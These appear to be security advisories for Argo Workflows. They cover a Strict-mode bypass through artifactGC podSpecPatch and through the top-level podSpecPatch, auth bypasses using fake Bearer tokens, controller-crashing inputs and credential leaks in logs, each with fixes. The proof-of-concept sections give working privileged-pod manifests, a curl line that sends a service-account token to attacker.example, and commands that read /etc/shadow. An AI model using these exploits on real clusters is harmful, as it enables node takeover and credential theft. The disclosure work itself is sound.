Summary
The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.
Details
Locations in main at 4d9f021 (HEAD 2026-04-23):
Allow-list and reflection scope - workflow/util/merge.go:19-60:
go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale }
func ValidateUserOverrides(userSpec wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... }
The allow-listed type - pkg/apis/workflow/v1alpha1/workflowtypes.go:1207-1217:
go type WorkflowLevelArtifactGC struct { ArtifactGC json:",inline" ForceFinalizerRemoval bool json:"forceFinalizerRemoval,omitempty" PodSpecPatch string json:"podSpecPatch,omitempty" // <-- sink input }
The sink - workflow/controller/artifactgc.go:731-740 reads the user-controlled value:
go func (woc wfOperationCtx) getArtifactGCPodInfo(artifact wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... }
And workflow/controller/artifactgc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:
go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = patchedPodSpec }
util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifactgc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.
The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.
Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifactgc.go:79 HasArtifactGC iterates execWf.Spec.Templates[].Outputs.Artifacts[] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflowtypes.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.
No validation sits between sanitize and sink:
grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.PodSpecPatch" --include=".go" workflow/validate/ (no output)
The merge-package test file added with the fix (workflow/util/mergetest.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.
PoC
Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.
poc/mergeartifactgcpoctest.go:
go package util
import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" )
func TestPoCArtifactGCPodSpecPatchPassesAllowList(t testing.T) { attackerPatch := {"containers":[{"name":"main","image":"attacker/evil:latest", + "command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}], + "hostNetwork":true} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, }
// Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec))
// Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) }
poc/artgcsinkpoctest.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):
go func TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t testing.T) { attackerPatch := containers: - name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYSADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: - name: hostroot hostPath: {path: /} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec)
// Baseline built exactly like workflow/controller/artifactgc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ / AutomountSAToken=true, MinimalCtrSC, limits, etc. / }
patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err)
assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) }
Run:
go test -v -run "TestPoCArtifactGC" ./workflow/util/
Captured output:
=== RUN TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch --- PASS: TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s) === RUN TestPoCArtifactGCPodSpecPatchPassesAllowList --- PASS: TestPoCArtifactGCPodSpecPatchPassesAllowList (0.00s) PASS ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s
End-to-end Workflow manifest (for a live cluster reproduction by maintainers):
yaml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: {name: safe-template} spec: entrypoint: main templates: - name: main container: {image: argoexec:latest, command: [echo, hello]} outputs: artifacts: - {name: artifact, path: /tmp/artifact} --- apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: {generateName: bypass-} spec: workflowTemplateRef: {name: safe-template} artifactGC: strategy: OnWorkflowCompletion podSpecPatch: | containers: - name: main image: attacker/evil:latest command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"] hostNetwork: true volumes: - name: hostroot hostPath: {path: /}
Controller config for the test cluster:
yaml workflowRestrictions: templateReferencing: Strict
With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.
Impact
Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:
- run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYSADMIN], - mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).
This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.
A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Summary A nil pointer dereference in server/auth/gatekeeper.go rbacAuthorization() causes a panic (denial of service) for SSO users whose claims match a namespace-level RBAC rule but not an SSO-namespace rule, when SSODELEGATERBACTONAMESPACE=true.
Details When getServiceAccount(claims, ssoNamespace) returns nil (no matching rule), the error is suppressed and loginAccount remains nil. If RBAC delegation finds a matching namespaceAccount, line 304 calls precedence(loginAccount) which unconditionally accesses serviceAccount.Annotations — nil pointer dereference.
Affected code (v4.0.4):
go // gatekeeper.go:304 } else if precedence(namespaceAccount) > precedence(loginAccount) { // loginAccount is nil here -> precedence(nil) -> PANIC
// gatekeeper.go:232-234 func precedence(serviceAccount corev1.ServiceAccount) int { i, := strconv.Atoi(serviceAccount.Annotations[common.AnnotationKeyRBACRulePrecedence]) return i }
PoC Live-tested 2026-04-17: kind cluster, Argo Workflows v4.0.4, Dex v2.43.1 OIDC provider.
1. Deploy Argo Workflows with --auth-mode=sso --auth-mode=client, SSO pointing to Dex, RBAC enabled. 2. Set SSODELEGATERBACTONAMESPACE=true on the argo-server deployment. 3. Create an RBAC ServiceAccount with workflows.argoproj.io/rbac-rule: "true" annotation in a target namespace (e.g., target-ns). 4. Do not create a matching RBAC rule in the SSO namespace (argo). 5. Authenticate via the Dex SSO flow. 6. Request GET /api/v1/workflows/target-ns with the SSO session cookie. 7. Server returns HTTP 500: {"code":13,"message":"runtime error: invalid memory address or nil pointer dereference"} 8. Server logs: Recovered from panic with stack trace at gatekeeper.go:233 (precedence()) called from gatekeeper.go:304.
Every subsequent API request from affected SSO users triggers the same panic.
Impact Permanent denial of service for any SSO user whose claims don't match SSO-namespace RBAC but do match a target namespace rule. Realistic in multi-tenant deployments with per-namespace RBAC. The gRPC recovery interceptor catches the panic so the server process survives, but the affected user gets HTTP 500 on every request.
Suggested Fix Add nil check: if loginAccount == nil || precedence(namespaceAccount) > precedence(loginAccount)
AI Disclosure This advisory was prepared with AI assistance (Claude Code, Anthropic).
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.
Summary The Sync Service's ConfigMap-backed provider (server/sync/synccm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details The ConfigMap-backed provider (server/sync/synccm.go) has no auth.CanI checks:
go // synccm.go — UNPROTECTED func (s configMapSyncProvider) createSyncLimit(ctx context.Context, req syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } - server/sync/synccm.go — lines 23-155 - All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit
PoC Prerequisites
- Argo Server running with --auth-mode=server - Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746
Step 1: Create Sync Limit (Fake Token)
bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
bash kubectl get configmap test-sync -n default
NAME DATA AGE test-sync 1 74s
Step 2: Read Sync Limit (Fake Token)
bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token"
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999
Impact An attacker with network access to the Argo Server can:
1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution 2. Workflow Disruption — Modify existing sync limits to break running workflows 3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration 4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Severity: Medium Component: Webhook Interceptor (server/auth/webhook) Vulnerability Type: Denial of Service (DoS)
Description The Webhook Interceptor loads the entire request body into memory before authenticating the request or verifying its signature. This occurs on the /api/v1/events/ endpoint, which is publicly accessible (albeit intended for webhooks). An attacker can send a request with an extremely large body (e.g., multiple gigabytes), causing the Argo Server to allocate excessive memory, potentially leading to an Out-Of-Memory (OOM) crash and denial of service.
Vulnerable Code In server/auth/webhook/interceptor.go: go func (i WebhookInterceptor) addWebhookAuthorization(r http.Request, kube kubernetes.Interface) error { // ... basic checks ... // Vulnerability: Reads entire body into memory unconditionally buf, := io.ReadAll(r.Body) defer func() { r.Body = io.NopCloser(bytes.NewBuffer(buf)) }() // ... subsequent logic finds correct service account and secret ... // ... verification happens later ... } The io.ReadAll call happens before the signature verification loop.
Impact - Service Availability: An attacker can crash the Argo Server, disrupting workflow execution and API access for all users.
PoC (Conceptual) 1. Target the webhook endpoint: POST /api/v1/events/some-namespace 2. Send a Content-Length: 1000000000 (1GB) header. 3. Stream 1GB of random data. 4. Monitor server memory usage. It will spike until 1GB is allocated or the process crashes.
Recommendation 1. Limit Body Size: Enforce a strict limit on webhook body size (e.g., 10MB) using http.MaxBytesReader. 2. Streaming Verification: If possible, verify the signature in a streaming fashion or use a temporary file for large payloads (though typically webhooks are small).
Summary The workflow executor logs all artifact repository credentials (S3 access keys, secret keys, GCS service account keys, Azure account keys, Git passwords, etc.) in plaintext on artifact operation. Any user with read access to workflow pod logs can extract these credentials.
Note: This is an incomplete fix of CVE-2025-62157 Details The logging driver passes the entire ArtifactDriver struct to the structured logger, for example: https://github.com/argoproj/argo-workflows/blob/59f1089b9875723ddffd524513e6bd5cb37e5e31/workflow/artifacts/logging/driver.go#L24
Exposed credential fields: - S3 (workflow/artifacts/s3/s3.go): AccessKey, SecretKey, SessionToken, ServerSideCustomerKey - OSS (workflow/artifacts/oss/oss.go): AccessKey, SecretKey, SecurityToken - GCS (workflow/artifacts/gcs/gcs.go): ServiceAccountKey
PoC 1. Create template yml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: cred-leak-test namespace: argo spec: entrypoint: main templates: - name: main container: image: alpine:3.13 command: [sh, -c] args: ["echo 'hello' > /tmp/output.txt"] outputs: artifacts: - name: output path: /tmp/output.txt s3: endpoint: minio:9000 insecure: true bucket: my-bucket key: test-output.txt accessKeySecret: name: my-minio-cred key: accesskey secretKeySecret: name: my-minio-cred key: secretkey
2. Then check the logs kubectl -n argo logs "cred-leak-test" -c wait <img width="1248" height="322" alt="image" src="https://github.com/user-attachments/assets/a5cf6d66-7d67-408d-8583-27d11ecf1507" />
Impact Any user with Kubernetes RBAC permissions to read pod logs in the workflow namespace can extract artifact repository credentials.
Summary
An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.
Details
podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:
go func podGCFromPod(pod apiv1.Pod) wfv1.PodGC { if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok { parts := strings.Split(val, "/") return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]} } return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone} }
If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.
The code was introduced in #14129 and affects versions:
- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263) - 3.7.x: v3.7.0-rc1 through v3.7.12 - 4.x: v4.0.0-rc1 through v4.0.3 - Not affected: v3.6.4 and earlier
PoC
Apply this workflow to a cluster running the Argo Workflows controller:
bash kubectl apply -n argo -f - <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: crash-podgc spec: entrypoint: main serviceAccountName: default podGC: strategy: OnPodCompletion podMetadata: annotations: workflows.argoproj.io/pod-gc-strategy: "NoSlash" templates: - name: main container: image: alpine:3.18 command: [echo, "hello"] EOF
Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:
panic: runtime error: index out of range [1] with length 1
goroutine 291 [running]: github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).commonPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).addPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246
Recovery requires deleting the poisoned workflow:
kubectl delete workflow -n argo crash-podgc
Impact
Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.
Summary
A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation.
Details
Three issues combine to create this vulnerability:
1. Merge priority order:JoinWorkflowSpec merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because podSpecPatch is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.
2. No security validation on podSpecPatch: ApplyPodSpecPatch() only validates that the patch is syntactically valid JSON conforming to the Kubernetes PodSpec schema. No checks are performed for dangerous security settings such as privileged: true.
3. templateReferencing: Strict does not restrict podSpecPatch: Strict mode only checks whether WorkflowTemplateRef is set. If it is, the Workflow passes validation regardless of what other fields (including podSpecPatch) are present.
PoC
Prerequisites
A local Kubernetes cluster with Argo Workflows installed. The instructions below use kind.
1. Create a kind cluster and install Argo Workflows
bash kind create cluster --name argo-poc
kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml
Note: --server-side is required because some CRDs exceed the client-side annotation size limit.
Wait for the controller to be ready:
bash kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
2. Enable templateReferencing: Strict
Patch the workflow controller configmap to enforce Strict mode:
bash kubectl patch configmap workflow-controller-configmap -n argo --type merge \ -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
Restart the controller to pick up the new config:
bash kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
3. Verify Strict mode is active
Attempt to submit a standalone Workflow (no workflowTemplateRef). It should be rejected:
bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: strict-test- spec: entrypoint: test templates: - name: test container: image: alpine command: [echo, "hello"] EOF
The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:
bash STRICTWF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1) kubectl get -n argo "$STRICTWF" -o jsonpath='{.status.phase} {.status.message}'
Expected output:
Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode
4: Create a hardened WorkflowTemplate
An administrator creates a WorkflowTemplate with restrictive security settings:
bash cat <<'EOF' | kubectl apply -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: secure-template namespace: argo annotations: description: "Admin-approved secure template with hardened security settings" spec: entrypoint: secure-task securityContext: runAsNonRoot: true runAsUser: 1000 fsGroup: 1000 templates: - name: secure-task container: image: alpine:latest command: ["/bin/sh", "-c"] args: - | echo "=== Security Context Check ===" echo "Current UID: $(id -u)" echo "Current GID: $(id -g)" if cat /etc/shadow 2>/dev/null; then echo "EXPLOITED: Can read /etc/shadow!" else echo "SECURE: Cannot read /etc/shadow" fi if ls /host/etc/passwd 2>/dev/null; then echo "EXPLOITED: Host filesystem accessible!" cat /host/etc/passwd | head -5 else echo "SECURE: No host filesystem access" fi if [ "$(id -u)" = "0" ]; then echo "EXPLOITED: Running as root!" else echo "SECURE: Running as non-root (UID: $(id -u))" fi echo "=== End Check ===" securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false capabilities: drop: - ALL EOF
5. Submit a legitimate Workflow (baseline)
Submit a Workflow that references the secure template without modification:
bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: legit-use- namespace: argo spec: workflowTemplateRef: name: secure-template EOF
Wait for completion and check logs:
bash LEGITWF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1) kubectl wait -n argo --for=condition=Completed "$LEGITWF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGITWF)" -c main
Expected output (confirming the template's security settings are applied):
=== Security Context Check === Current UID: 1000 Current GID: 0 SECURE: Cannot read /etc/shadow SECURE: No host filesystem access SECURE: Running as non-root (UID: 1000) === End Check ===
6. Submit the bypass Workflow
Submit a Workflow that references the same secure template but includes a podSpecPatch that overrides all security settings:
bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: bypass-security- namespace: argo spec: workflowTemplateRef: name: secure-template podSpecPatch: | hostPID: true hostNetwork: true containers: - name: main securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: add: - ALL drop: [] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory EOF
Wait for completion and check logs:
bash BYPASSWF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1) kubectl wait -n argo --for=condition=Completed "$BYPASSWF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASSWF)" -c main
Expected output (all security settings bypassed):
=== Security Context Check === Current UID: 0 Current GID: 0 root:::0::::: bin:!::0::::: [... /etc/shadow contents dumped ...] EXPLOITED: Can read /etc/shadow! EXPLOITED: Host filesystem accessible! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [... host /etc/passwd contents ...] EXPLOITED: Running as root! === End Check ===
The file /etc/shadow is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.
Impact
The purpose of templateReferencing: Strict is to restrict users to only execute admin-approved WorkflowTemplates. This is explicitly documented as a security feature:
You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.
A user who can submit Workflows referencing approved templates can use podSpecPatch to:
- Run containers as root (runAsUser: 0) - Enable privileged mode (privileged: true) - Mount the host filesystem (hostPath volumes) - Share host PID/network/IPC namespaces (hostPID, hostNetwork, hostIPC) - Add all Linux capabilities (capabilities.add: ["ALL"])
This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the WorkflowTemplate.
The templateReferencing feature was introduced in Argo Workflows v2.9.0 through PR #3149.
Mitigation
When templateReferencing: Strict or Secure is enabled, the controller should reject Workflows that include a podSpecPatch field when using workflowTemplateRef.
Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows.
Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflowtemplateserver.go#L60-L78
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/clusterworkflowtemplateserver.go#L54-L72
Informers use the server’s rest config, so they read using server SA privileges.
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46
PoC 1. Create template
yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ=
Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token
Result:
cmd kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.